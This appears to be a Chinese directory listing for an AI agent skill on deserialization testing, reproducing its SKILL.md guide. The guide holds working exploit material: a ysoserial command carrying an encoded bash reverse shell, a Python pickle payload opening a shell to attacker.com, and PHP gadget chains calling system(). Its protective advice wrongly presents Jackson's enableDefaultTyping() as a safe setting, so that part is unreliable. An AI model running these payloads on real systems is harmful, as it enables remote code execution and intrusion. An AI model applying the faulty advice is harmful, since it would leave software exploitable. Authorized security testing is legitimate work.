Token导航 LogoToken导航

Agent Skill · 开发

deserialization-testing(反序列化测试)

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

deserialization-testing 是开发类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为需要联网;许可证信息还不明确,第三方扫描有未通过项,按安装量在开发类的 21,746 个 Skill 里排第 15,100。

总安装 630周安装 26GitHub Stars 3,518下载 206核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:deserialization-testing(反序列化测试)
来源仓库:https://github.com/ed1s0nz/cyberstrikeai
仓库路径:skills/deserialization-testing
安装命令:
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill deserialization-testing
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill deserialization-testing

这个 Skill 是做什么的

开发类 Skill 面向写代码、改代码和排查问题,一般会读写仓库文件,部分还会执行构建或测试命令。

deserialization-testing 检测应用程序中潜在的反序列化漏洞,识别 Cookie、Session 和 API 参数等危险入口点。它提供 Java Base64 特征码、PHP serialize() 结构和 Python pickle 魔数的快速识别方法,支持多语言覆盖。

包含 Apache Commons Collections 和 Fastjson 等常见库的 PoC 构造示例,附带 payload 生成脚本链接指引。测试前请备份原始数据样本,避免误判导致业务中断;生产环境建议先在隔离沙箱验证 exploit 有效性。

适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

来源仓库内路径:skills/deserialization-testing

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill deserialization-…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要需要联网,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

deserialization-testing 怎么安装?

在终端执行 npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill deserialization-testing。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

deserialization-testing 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

deserialization-testing 需要什么权限?

权限级别是需要联网。该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

deserialization-testing 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

deserialization-testing 用的人多吗?

公开数据是累计安装 630 次,近一周安装 26 次,下载 206 次,GitHub 3,518 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

deserialization-testing 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 3,518 星,维护活跃度相对可查。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理开发类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

开发类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
skill-vetter

技能审查员 · OpenClaw

8,779,018986操作浏览器MIT-0通过
ontology

本体论 · OpenClaw

6,636,960576只读MIT-0通过
entra-app-registration

内部应用程序注册 · Codex、Claude

6,631,872764接触敏感数据未明确通过
entra-app-registration

内部应用程序注册 · Codex、Claude

3,757,680201接触敏感数据未明确通过
nano-banana-pro

纳米香蕉专业版 · OpenClaw

3,526,898364接触敏感数据MIT-0有提醒
deserialization-testing

反序列化测试 · 本页

6303,518需要联网未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

反序列化漏洞测试

概述

反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。

漏洞原理

应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。

常见格式

Java

常见库:

  • Java原生序列化
  • Jackson
  • Fastjson
  • XStream
  • Apache Commons Collections

PHP

常见函数:

  • unserialize()
  • json_decode()

Python

常见模块:

  • pickle
  • yaml
  • json

.NET

常见类:

  • BinaryFormatter
  • SoapFormatter
  • DataContractSerializer

测试方法

1. 识别序列化数据

Java序列化特征:

AC ED 00 05 (十六进制)
rO0 (Base64)

PHP序列化特征:

O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}

Python pickle特征:

\x80\x03

2. 检测反序列化点

常见位置:

  • Cookie值
  • Session数据
  • API参数
  • 文件上传
  • 缓存数据
  • 消息队列

3. Java反序列化

Apache Commons Collections利用:

// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

常见Gadget链:

  • CommonsCollections1-7
  • Spring1-2
  • ROME
  • Jdk7u21

4. PHP反序列化

基础测试:

<?php
class Test {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>

魔术方法利用:

  • __destruct()
  • __wakeup()
  • __toString()
  • __call()

5. Python pickle

基础测试:

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

pickle.dumps(RCE())

利用技术

Java RCE

使用ysoserial:

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

# Base64编码
base64 -w 0 payload.bin

手动构造:

// 使用Gadget链构造恶意对象
// 参考ysoserial源码

PHP RCE

利用POP链:

<?php
class A {
    public $b;
    function __destruct() {
        $this->b->test();
    }
}

class B {
    public $c;
    function test() {
        call_user_func($this->c, "id");
    }
}

$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>

Python RCE

Pickle RCE:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))

payload = pickle.dumps(RCE())
print(base64.b64encode(payload))

绕过技术

编码绕过

Base64编码:

原始: rO0ABXNy...
编码: ck8wQUJYTnk...

URL编码:

%72%4F%00%AB...

过滤器绕过

使用不同Gadget链:

  • 如果CommonsCollections被过滤,尝试Spring
  • 如果某个版本被过滤,尝试其他版本

类名混淆

使用反射:

Class.forName("java.lang.Runtime").getMethod("exec", String.class)

工具使用

ysoserial

# 列出可用Gadget
java -jar ysoserial.jar

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

# 生成Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64

PHPGGC

# 列出可用Gadget
./phpggc -l

# 生成Payload
./phpggc Monolog/RCE1 system id

# 生成编码Payload
./phpggc -b Monolog/RCE1 system id

Burp Suite

  1. 拦截包含序列化数据的请求
  2. 使用插件生成Payload
  3. 替换原始数据
  4. 观察响应

验证和报告

验证步骤

  1. 确认可以控制序列化数据
  2. 验证反序列化触发代码执行
  3. 评估影响(RCE、数据泄露等)
  4. 记录完整的POC

报告要点

  • 漏洞位置和序列化数据格式
  • 使用的Gadget链或利用方式
  • 完整的利用步骤和PoC
  • 修复建议(输入验证、使用安全序列化等)

防护措施

推荐方案

  1. 避免反序列化不可信数据

- 使用JSON替代 - 使用安全的序列化格式

  1. 输入验证 // 白名单验证类名 private static final Set<String> ALLOWED_CLASSES = Set.of("com.example.SafeClass"); private Object readObject(ObjectInputStream ois) {// 验证类名 //...}
  2. 使用安全配置 // Jackson配置 objectMapper.enableDefaultTyping(); objectMapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);
  3. 类加载器隔离

- 使用自定义ClassLoader - 限制可加载的类

  1. 监控和日志

- 记录反序列化操作 - 监控异常行为

注意事项

  • 仅在授权测试环境中进行
  • 注意不同版本库的Gadget链差异
  • 测试时注意Payload大小限制
  • 了解目标应用的依赖库版本

平台分布

Codex

35.82%
按下载量换算74

Claude

28.1%
按下载量换算58

Cursor

17.37%
按下载量换算36

Gemini CLI

9.44%
按下载量换算19

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills